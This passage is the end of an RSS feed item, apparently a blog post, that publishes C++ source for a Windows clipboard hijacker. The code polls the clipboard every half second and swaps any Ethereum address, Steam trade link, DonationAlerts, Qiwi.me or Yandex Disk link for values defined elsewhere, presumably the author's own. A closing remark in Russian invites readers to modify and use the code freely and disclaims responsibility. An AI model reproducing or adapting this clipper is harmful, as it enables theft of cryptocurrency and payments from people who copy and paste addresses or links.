		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;0x&quot;) == 0 &amp;&amp; data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://steamcommunity.com/tradeoffer/new/?partner=&quot;) == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://www.donationalerts.com/r/&quot;) == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://qiwi.me/&quot;) == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find(&quot;https://yadi.sk/d/&quot;) == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>

]]></content:encoded></item></channel></rss>